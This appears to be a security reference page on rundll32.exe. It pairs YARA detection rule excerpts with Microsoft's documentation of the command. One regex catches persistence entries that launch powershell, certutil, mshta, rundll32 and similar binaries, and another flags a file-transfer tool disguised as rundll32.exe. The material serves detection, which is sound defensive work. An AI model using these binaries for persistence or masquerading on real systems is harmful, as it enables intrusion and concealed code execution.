signature-base	gen_url_persitence.yar	$file1 = /\x0a\x0d\s=[^\x0d](powershell|cmd|certutil|mshta|wscript|cscript|rundll32|wmic|regsvr32|msbuild)(.exe|)[^\x0d]{2,50}\x0d/ nocase	CC BY-NC 4.0
signature-base	yara_mixed_ext_vars.yar	description = “Tool used in Operation Cloud Hopper - pscp.exe cloaked as rundll32.exe”	CC BY-NC 4.0
signature-base	yara_mixed_ext_vars.yar	all of them and filename == “rundll32.exe”	CC BY-NC 4.0

Additional Info*

*The information below is copied from MicrosoftDocs, which is maintained by Microsoft. Available under CC BY 4.0 license.

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rundll32

Loads and runs 32-bit dynamic-link libraries (DLLs). There are no configurable settings for Rundll32. Help information is provided for a specific DLL you run with the rundll32 command.

You must run the rundll32 command from an elevated command prompt. To open an elevated command prompt, click Start, right-click Command Prompt, and then click Run as administrator.

Syntax

rundll32 <DLLname>

Parameters

Parameter	Description
Rundll32 printui.dll,PrintUIEntry	Displays the printer user interface.

Remarks

Rundll32 can only call functions from a DLL explicitly written to be called by Rundll32.

Additional References

• Command-Line Syntax Key

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MIT License. Copyright (c) 2020-2021 Strontic.